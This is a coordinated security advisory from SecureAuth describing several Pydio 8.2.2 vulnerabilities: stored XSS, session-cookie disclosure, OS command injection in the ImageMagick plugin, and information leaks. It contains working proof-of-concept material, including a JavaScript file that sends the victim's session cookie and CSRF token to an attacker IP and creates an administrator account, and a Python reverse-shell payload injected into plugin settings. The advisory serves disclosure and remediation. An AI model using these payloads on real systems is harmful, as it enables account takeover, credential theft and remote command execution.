SecureAuth
Pydio 8 Multiple Vulnerabilities

1. Advisory Information

Title: Pydio 8 Multiple Vulnerabilities
Advisory ID: SAUTH-2019-0002
Advisory URL: https://www.secureauth.com/labs/advisories/pydio-8-multiple-vulnerabilities
Date published: 2019-03-28
Date of last update: 2019-03-28
Vendors contacted: Pydio
Release mode: Coordinated release

2. Vulnerability Information

Class: Argument Injection or Modification [CWE-88], Argument Injection or Modification [CWE-88], Information Exposure [CWE-200], Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) [CWE-79], Information Exposure [CWE-200], Information Exposure [CWE-200]
Impact: Code execution, Security bypass, Information leak
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2019-10049, CVE-2019-10048, CVE-2019-10045, CVE-2019-10047, CVE-2019-10046, CVE-2019-10046

3. Vulnerability Description

Pydio [1] website states that:

…Pydio, an open source EFSS (Enterprise File Synchronization and Sharing) solution that can be deployed On-Premise or in a Hybrid / Cloud environment. Pydio is available either through a Community distribution (Ideal for home use) that is free forever or an Enterprise which provides all the features, support and compliance to secure file sharing. Pydio is sold in more than 25 countries, from Cupertino to Singapore, and is used by leading brands around the world, such as Nikon, Credit Agricole, Dexia… Pydio also serves education and government clients, with major references such as Cambridge University (UK) and ADEME (France).

Multiple vulnerabilities were found in Pydio 8 (latest version 8.2.2), which allows an attacker with regular user access to the application and by tricking an administrator account to open a shared URL bookmark through the application, to obtain the victim’s session identifiers in order to impersonate him/her and to perform actions such as create a new user administrator account. After gaining privileged access to the application the attacker can leverage another vulnerability to perform OS command injection under the privileges of the user account running the web server.

4. Vulnerable Packages

  • Pydio 8.2.2 – Latest version at the time of testing.
  • Older versions are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

Pydio published v8.2.3 that fixes all the reported vulnerabilities.

6. Credits

These vulnerabilities were discovered and researched by Ramiro Molina from SecureAuth Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from SecureAuth Advisories Team.

7. Technical Description / Proof of Concept Code

7.1. Privilege escalation vector based in multiple vulnerabilities

[CVE-2019-10049] By chaining vulnerabilities it is possible for an attacker with regular user access to the web application to attempt to trick an administrator user to open a link shared through the application, that in turn opens a shared file that contains JavaScript code that is executed in the context of the victim user to obtain sensitive information such as session identifiers (session cookie and secure token) and perform actions on behalf of him/her. Note: if the targeted users are not administrators, any other action on behalf of that user could also be achieved, to for example obtain sensitive files stored in their accounts or impersonate them.

Attack vector steps:

1. Authenticated in the web application with a regular user account, go to “My Files” and upload a file named for example pydio_xss.html (use the .html extension) with the following content. The PoC once executed performs several requests to:

  • Obtain a “secure_token” for the user, which is a CSRF prevention token.
  • Obtain the session cookie for the current user.
  • Send the two sensitive tokens to the attacker, this allows to impersonate the victim user.
  • Change the “context to configuration”.
  • Create a new user account named “admin99” with password “password1”.
  • Change the user role of the created user to administrator.

Note: change the IP address and port number (the example ones are the IP 192.168.56.1 and port 9999).

PoC pydio_xss.html file:

<html>
<body>
<script type="text/javascript">
console.log("Starting...");
var req0 = new XMLHttpRequest();
req0.open('GET', "/welcome/", true);
req0.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
req0.send();
req0.onload  = function() {
var res =  req0.responseText.match(/SECURE_TOKEN.*?,/)[0];
var secure_token = res.split(/"/)[2] ;
var req1 = new XMLHttpRequest();
  req1.open('POST', "index.php", true);
  req1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  req1.send("get_action=get_sess_id&secure_token=" + secure_token);
  req1.onload  = function() {
	  var session_cookie = req1.responseText;
	  var req2 = new XMLHttpRequest();
	  req2.open('POST', "http://192.168.56.1:9999/creds", true);
	  req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	  req2.send("Session Cookie: " + session_cookie + "; secure_token: " + secure_token);
	  req2.onload  = function() {
		  console.log("I just sent your protected session cookie.");
	  };
	  //switch "repository" to  configuration
	  var req3 = new XMLHttpRequest();
	  req3.open('POST', "/index.php", true);
	  req3.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	  req3.send("get_action=switch_repository&repository_id=ajxp_conf&secure_token=" + secure_token);
	  req3.onload  = function() {
		  console.log("Creating a new admin user...");
		  var req4 = new XMLHttpRequest();
		  req4.open('POST', "/index.php", true);
		  req4.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
		  req4.send("get_action=create_user&new_user_login=admin99&new_user_pwd=password1&group_path=&secure_token=" + secure_token);
		  req4.onload  = function() {
			  console.log(req4.responseText);
		  console.log("Promoting user to admin...");
		  var req5 = new XMLHttpRequest();
		  req5.open('POST', "/index.php", true);
		  req5.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
		  req5.send("get_action=edit&sub_action=post_json_role&role_id=AJXP_USR_%2Fadmin99&json_data=%7B%22ROLE%22%3A%7B%22ACL%22%3A%7B%7D%2C%22MASKS%22%3A%7B%7D%2C%22ACTIONS%22%3A%7B%7D%2C%22PARAMETERS%22%3A%7B%7D%2C%22APPLIES%22%3A%7B%7D%2C%22USER%22%3A%7B%22LOCK%22%3Afalse%2C%22PROFILE%22%3A%22admin%22%2C%22ROLES%22%3A%5B%22AJXP_GRP_%2F%22%2C%22AJXP_USR_%2Fadmin99%22%5D%7D%7D%2C%22METADATA%22%3A%7B%7D%2C%22USER%22%3A%7B%22LOCK%22%3Afalse%2C%22PROFILE%22%3A%22admin%22%2C%22ROLES%22%3A%5B%22AJXP_GRP_%2F%22%2C%22AJXP_USR_%2Fadmin99%22%5D%7D%7D&secure_token=" + secure_token);
		  req5.onload  = function() {
			  console.log(req5.responseText);
			  };
		  };
	  };
  };
};
</script>
</body>
</html>

2. Still in “My Files” create a new URL bookmark with the following URL and a label of your choice. Note that selecting a good label can help into tricking an administrator user into opening the bookmark. The URL must reference the filename uploaded in the previous step. For this example, the file is named "pydio_xss.html":

http://192.168.56.102/index.php?get_action=open_file&repository_id=inbox&file=%2Fpydio_xss.html

3. Select each the uploaded HTML file and share it with the administrator user account by clicking on share and in the popup, window select the target user (or users if the administrator account is not known) and click on save.

4. Do the same with the URL Bookmark and share it with the victim administrator user/s.

5. On a command prompt with for example ncat set a listener for the incoming post request with the session identifiers.

6. Once the administrator opens the URL Bookmark the JavaScript code in the uploaded file will be executed, the session identifiers will be posted to the attacker’s machine and a new administrator user (named “admin99” with password “password1”) will be created.

7. The attacker can login with the created administrator user or can leverage the session identifiers to impersonate the victim user.

Note: after gaining access as an administrator to the web application an attacker can leverage the OS command injection vulnerability described in this advisory to run system commands on the underling operative system with the local user running the web server.

7.2. OS command injection by parameter abuse in ImageMagick plugin

[CVE-2019-10048] The ImageMagick plugin that is installed by default in Pydio 8.2.2 does not perform the appropriate validation and sanitization of user supplied input in the plugin’s configuration options allowing arbitrary shell commands to be entered that result in command execution on the underlying operative system with the privileges of the local user running the web server. The attacker will need to be authenticated into the application with an administrator user account in order to be able to edit the affected plugin configuration. In this advisory a privilege escalation vector by levering other vulnerabilities from a regular user standpoint is also described.

Proof of Concept:

1. Logged in with an administrator account into the web application, go to Settings -> Editors.

2. Disable the PDF Viewer plugin.

3. Enable the ImageMagick plugin.

4. Click on Edit ImageMagick plugin settings.

5. In the popup window, add at the end of the current settings for the “Thumbs options” and “Images options” parameters the following example payload to run a python reverse shell (where in the example the IP address is 192.168.56.1 and the port number is 9999, edit accordingly) and save the settings. An example payload is:

; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';

6. On a command prompt with for example ncat set a listener for the incoming reverse shell.

7. With the administrator account, or any other account upload a test PDF file to a workspace and observe that a reverse shell is received.

Affected source code:

The affected source code section is located in the file: "plugins/editor.imagick/IMagickPreviewer.php" line #380. The following code section is where the vulnerability is located. Note that the user provided parameters are not validated and sanitized before construction the “$cmd” string an being passed to the exec() function.

$customOptions = $this->getContextualOption($ctx, "IM_CUSTOM_OPTIONS");
$customEnvPath = $this->getContextualOption($ctx, "ADDITIONAL_ENV_PATH");
$viewerQuality = $this->getContextualOption($ctx, "IM_VIEWER_QUALITY");
$thumbQuality = $this->getContextualOption($ctx, "IM_THUMB_QUALITY");
if (empty($customOptions)) {
	$customOptions = "";
}
if (!empty($customEnvPath)) {
	putenv("PATH=".getenv("PATH").":".$customEnvPath);
}
$params = $customOptions." ".( $this->extractAll? $viewerQuality : $thumbQuality );
$cmd = $this->getContextualOption($ctx, "IMAGE_MAGICK_CONVERT")." ".$params." ".escapeshellarg(($masterFile).$pageLimit)." ".escapeshellarg($tmpFileThumb);
$this->logDebug("IMagick Command : $cmd");
session_write_close(); // Be sure to give the hand back
exec($cmd, $out, $return);

7.3. Current user AjaXplorer session cookie value disclosure

[CVE-2019-10045] The AjaXplorer session cookie is correctly set with the HTTPOnly flag to prevent access to its value from scripts. The affected “action” get_sess_id discloses the session cookie value in the response body enabling scripts to get access to its value. This identifier can be reused by an attacker to impersonate a user and perform actions on behalf of him/her if the session is still active.

Proof of Concept:

The response to the following HTTP POST request with the parameter get_action=get_sess_id returns the current user session identifier (AjaXplorer session cookie value) in the response. Request:

POST /index.php? HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/ws-inbox/
content-type: application/x-www-form-urlencoded; charset=UTF-8
origin: http://192.168.56.101
Content-Length: 68
Connection: close
Cookie: AjaXplorer=1ln7fa60h1ajsapm7ha45sge26; ajxp_licheck=ok

get_action=get_sess_id&secure_token=zZ6lpJaRUovEYm0imb839L8YhWI1UHZK

Response:

HTTP/1.1 200 OK
Date: Wed, 30 Jan 2019 22:21:18 GMT
Server: Apache/2.4.27 (Red Hat) OpenSSL/1.0.2k-fips PHP/5.6.25
X-Powered-By: PHP/5.6.25
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/plain;charset=UTF-8
Content-Length: 26

1ln7fa60h1ajsapm7ha45sge26

7.4. Stored Cross-site scripting (XSS) in file view feature

[CVE-2019-10047] A stored cross-site scripting vulnerability exists in the affected web application that can be exploited by levering the file upload and file preview features of the application. An authenticated attacker can upload an HTML file containing Javascript code and afterword’s a file preview URL can be used to access the uploaded file. If a malicious user shares an uploaded HTML file containing JavaScript code with another user of the application and tricks an authenticated victim into accessing an URL (i.e. by clicking in a link) that results in the HTML code being interpreted by the web browser and the included JavaScript code being executed under the context of the victim user session.

Proof of Concept:

With an authenticated user go to “My Files” and upload a HTML file as the following PoC, which is named for example “xss.html”:

<html>
<body>
<script type="text/javascript">
alert("SecureAuth");
</script>
</body>
</html>

In another tab of the web browser access the following URL, and notice that the JavaScript code is executed, and a popup alert is displayed:

http://192.168.56.102/index.php?secure_token=&get_action=open_file&repository_id=1&file=%2Fxss.html

Request:

GET /index.php?secure_token=&get_action=open_file&repository_id=1&file=%2Fxss.html HTTP/1.1
Host: 192.168.56.102
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: AjaXplorer=gdn92c6maohf28lt2noiso1891; ajxp_licheck=ok
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Date: Wed, 30 Jan 2019 22:00:21 GMT
Server: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/5.6.25
X-Powered-By: PHP/5.6.25
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
Pragma: no-cache
Content-Disposition: inline; filename="xss.html"
Content-Length: 66
Connection: close
Content-Type: text/html; charset=us-ascii; name="xss.html"

<html>
<body>
<script>alert("SecureAuth")</script>
</body>
</html>

Share the file with an administrator user, and logged in with that user account access the “Shared Files” repository and in another tab, access following URL and notice that the JavaScript code is also executed:

http://192.168.56.102/index.php?get_action=open_file&repository_id=inbox&file=%2Fxss.html

Request:

GET /index.php?get_action=open_file&repository_id=inbox&file=%2Fxss.html HTTP/1.1
Host: 192.168.56.102
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: AjaXplorer=6vh2o75udh253f6lu8p99cpmr5; ajxp_licheck=ok
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Date: Wed, 30 Jan 2019 22:01:05 GMT
Server: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/5.6.25
X-Powered-By: PHP/5.6.25
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
Pragma: no-cache
Content-Disposition: inline; filename="xss.html"
Content-Length: 66
Connection: close
Content-Type: text/html; charset=us-ascii; name="xss.html"

<html>
<body>
<script>alert("SecureAuth")</script>
</body>
</html>

7.5. Unauthenticated Pydio and PHP libraries versions information disclosure

[CVE-2019-10046] An unauthenticated attacker can obtain information about the Pydio version and PHP libraries and their versions by performing a HTTP POST request to /index.php and including the parameters "get_action=display_doc& doc_file=CREDITS" in the body.

Proof of Concept:

Request:

POST /index.php? HTTP/1.1
Host: 192.168.56.102
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.102/welcome/
content-type: application/x-www-form-urlencoded; charset=UTF-8
origin: http://192.168.56.102
Content-Length: 53
Connection: close
Cookie: AjaXplorer=a; ajxp_licheck=ok

get_action=display_doc&doc_file=CREDITS&secure_token=

Response:

HTTP/1.1 200 OK
Date: Wed, 30 Jan 2019 22:26:49 GMT
Server: Apache/2.4.27 (Red Hat) OpenSSL/1.0.2k-fips PHP/5.6.25
X-Powered-By: PHP/5.6.25
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/plain;charset=UTF-8
Content-Length: 9246

<img src="plugins/gui.ajax/PydioLogo250.png"/>
<br><div style="padding-left:10px;"><div style="font-size:0.8em;">Version 8.2.2 - 2018-10-10
<br>Copyright 2007-2017 Abstrium SAS
<br>The latest code can be found at https://pydio.com/.
<br></div>
...
TRUNCATED
...
<br>
<br><div class="title">PHP Libraries</div>
<br>
<br>    aws/aws-sdk-php                    3.19.18             Apache-2.0
<br>    commerceguys/guzzle-oauth2-plugin  v2.1.1              MIT
<br>    dapphp/securimage                  3.6.4               BSD
<br>    davegardnerisme/nsqphp             dev-master 60f12ad  none
<br>    evenement/evenement                v2.0.0              MIT
<br>    firebase/php-jwt                   v2.2.0              BSD-3-Clause
<br>    gimler/guzzle-description-loader   v0.0.4              MIT
<br>    guzzlehttp/command                 0.7.1               MIT
<br>    guzzlehttp/guzzle                  5.3.1               MIT
<br>    guzzlehttp/guzzle-services         0.5.0               MIT
<br>    guzzlehttp/promises                1.2.0               MIT
<br>    guzzlehttp/psr7                    1.3.1               MIT
<br>    guzzlehttp/ringphp                 1.1.0               MIT
<br>    guzzlehttp/streams                 3.0.0               MIT
<br>    meenie/javascript-packer           1.1                 LGPL 2.1
<br>    mtdowling/jmespath.php             2.3.0               MIT
<br>    nikic/fast-route                   v1.0.1              BSD-3-Clause
<br>    phpseclib/phpseclib                2.0.3               MIT
<br>    psr/http-message                   1.0.1               MIT
<br>    psr/log                            1.0.2               MIT
<br>    react/cache                        v0.4.1              MIT
<br>    react/child-process                v0.4.1              MIT
<br>    react/dns                          v0.4.3              MIT
<br>    react/event-loop                   v0.4.2              MIT
<br>    react/http                         v0.4.1              MIT
<br>    react/http-client                  v0.4.13             MIT
<br>    react/promise                      v2.4.1              MIT
<br>    react/react                        v0.4.2              MIT
<br>    react/socket                       v0.4.3              MIT
<br>    react/socket-client                v0.4.5              MIT
<br>    react/stream                       v0.4.4              MIT
<br>    sabre/dav                          1.8.10              BSD-3-Clause
<br>    sabre/vobject                      2.1.7               BSD-3-Clause
<br>    symfony/config                     v3.1.5              MIT
<br>    symfony/console                    v3.1.5              MIT
<br>    symfony/debug                      v3.1.5              MIT
<br>    symfony/filesystem                 v3.1.5              MIT
<br>    symfony/polyfill-mbstring          v1.2.0              MIT
<br>    symfony/yaml                       v3.1.5              MIT
<br>    zendframework/zend-diactoros       1.3.7               BSD-2-Clause
<br>
<br>
<br><div class="title">Other Plugins</div>
<br>	PThumb.php <a target="_blank" href="http://www.phpclasses.org">http://www.phpclasses.org</a> (LPGL)
<br>	OpenLayers <a target="_blank" href="http://www.openlayers.org">http://www.openlayers.org</a> (BSD)
<br>	Video-js <a target="_blank" href="http://www.videojs.com/">http://www.videojs.com/</a> (LGPL)
<br>	Zend Lucene <a target="_blank" href="http://www.zend.com/">http://www.zend.com/</a> (New BSD)
<br>	SoundManager : <a target="_blank" href="http://www.schillmania.com/projects/soundmanager2/">http://www.schillmania.com/projects/soundmanager2/</a> (BSD)
<br>	CAS Driver (Apache 2): https://github.com/Jasig/phpCAS
<br>
<br></div>

7.6. Unauthenticated Pydio “Boot Config” information disclosure

[CVE-2019-10046] An unauthenticated attacker can obtain information about the Pydio configuration including session timeout and license information by performing a HTTP GET request to "/index.php?get_action=get_boot_conf".

Proof of Concept:

Request:

GET /index.php?get_action=get_boot_conf HTTP/1.1
Host: 192.168.56.102
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Date: Wed, 30 Jan 2019 22:42:53 GMT
Server: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/5.6.25
X-Powered-By: PHP/5.6.25
Set-Cookie: AjaXplorer=170a2docpbgl1509b2v98m90e3; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: AJXP_GUI=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Connection: close
Content-Type: application/json
Content-Length: 136855
{
  "ajxpResourcesFolder": "plugins/gui.ajax/res",
  "ajxpServerAccess": "index.php",
  "zipEnabled": true,
  "multipleFilesDownloadEnabled": true,
  "customWording": {
	"welcomeMessage": "My Company File Sharing Platform",
	"title": "Pydio Enterprise",
	"icon": "plugins/gui.ajax/res/themes/common/images/LoginBoxLogo.png",
	"iconWidth": "250px",
	"iconHeight": "120px",
	"iconOnly": true,
	"titleFontSize": ""
  },
  "usersEnabled": true,
  "loggedUser": false,
  "currentLanguage": "en",
  "session_timeou      Date: Wed, 30 Jan 2019 22:42:53 GMT
Server: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/5.6.25
X-Powered-By: PHP/5.6.25
Set-Cookie: AjaXplorer=170a2docpbgl1509b2v98m90e3; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: AJXP_GUI=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Connection: close
Content-Type: application/json
Content-Length: 136855
{
  "ajxpResourcesFolder": "plugins/gui.ajax/res",
  "ajxpServerAccess": "index.php",
  "zipEnabled": true,
  "multipleFilesDownloadEnabled": true,
  "customWording": {
	"welcomeMessage": "My Company File Sharing Platform",
	"title": "Pydio Enterprise",
	"icon": "plugins/gui.ajax/res/themes/common/images/LoginBoxLogo.png",
	"iconWidth": "250px",
	"iconHeight": "120px",
	"iconOnly": true,
	"titleFontSize": ""
  },
  "usersEnabled": true,
  "loggedUser": false,
  "currentLanguage": "en",
  "session_timeout": 1440,
  "client_timeout": 1440,
  "client_timeout_warning": 3,
	
  ...
  TRUNCATED
  ...

  "helper_booster.updater.force.2": "force reinstall",
  "helper_booster.updater.force.3": "?"
  },
  "SECURE_TOKEN": "OCGdu2uIsEJUWYPHaPOV5V35pNPhSuDz",
  "streaming_supported": "true",
  "theme": "material",
  "ajxpImagesCommon": true,
  "licence_features": [
	"TRIAL",
	"footer",
	"splash",
	"customCopyright:<a href='https://pydio.com'>Pydio Enterprise Distribution</a> - Trial version valid until 2019-02-20."
  ]
}t": 1440,
  "client_timeout": 1440,
  "client_timeout_warning": 3,

...
TRUNCATED
...

	"helper_booster.updater.force.2": "force reinstall",
	"helper_booster.updater.force.3": "?"
  },
  "SECURE_TOKEN": "OCGdu2uIsEJUWYPHaPOV5V35pNPhSuDz",
  "streaming_supported": "true",
  "theme": "material",
  "ajxpImagesCommon": true,
  "licence_features": [
	"TRIAL",
	"footer",
	"splash",
	"customCopyright:<a href='https://pydio.com'>Pydio Enterprise Distribution</a> - Trial version valid until 2019-02-20."
  ]
}

8. Report Timeline

  • 2019-02-11: SecureAuth sent an initial notification to Pydio including a draft advisory.
  • 2019-02-11: Pydio confirmed the reception of the advisory.
  • 2019-02-15: Pydio informed they were testing the vulnerabilities and they will answer back next week.
  • 2019-02-15: SecureAuth thanked the update.
  • 2019-02-20: Pydio requested a clarification about some vulnerabilities.
  • 2019-02-21: SecureAuth sent additional information to Pydio.
  • 2019-03-08: SecureAuth requested an update.
  • 2019-03-08: Pydio replied saying they were planning to release their fix next week and asked SecureAuth to test this new version.
  • 2019-03-08: SecureAuth thanked the update and agreed to test the new version.
  • 2019-03-12: Pydio sent the fixed version.
  • 2019-03-15: Pydio asked for an update and proposed to release its fix on Tuesday 19th.
  • 2019-03-15: SecureAuth informed Pydio that the fixed version was tested and all the reported vulnerabilities were addressed. In addition, SecureAuth proposed to postpone the release date to Thursday 21th.
  • 2019-03-18: Pydio thanked the answer and agreed on the proposal.
  • 2019-03-21: Pydio released the version 8.2.3
  • 2019-03-28: Advisory SAUTH-2019-0002 published.

9. References

[1] https://pydio.com/en/about-us

10. About SecureAuth Labs

SecureAuth Labs, the research arm of SecureAuth Corporation, is charged with anticipating the future needs and requirements for information security technologies. We conduct research in several important areas of computer security, including identity-related attacks, system vulnerabilities and cyber-attack planning. Research includes problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. We regularly publish security advisories, primary research, technical publications, research blogs, project information, and shared software tools for public use at http://www.secureauth.com.

11. About SecureAuth

SecureAuth is leveraged by leading companies, their employees, their customers and their partners to eliminate identity-related breaches. As a leader in access management, SecureAuth is powering an identity security revolution by enabling people and devices to intelligently and adaptively access systems and data, while effectively keeping bad actors from doing harm. By ensuring the continuous assessment of risk and enablement of trust, SecureAuth’s highly flexible platform makes it easier for organizations to prevent the misuse of credentials. To learn more, visit www.secureauth.com, call (949) 777-6959, or email us at info@secureauth.com

12. Disclaimer

The contents of this advisory are copyright (c) 2019 SecureAuth, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

Pin It on Pinterest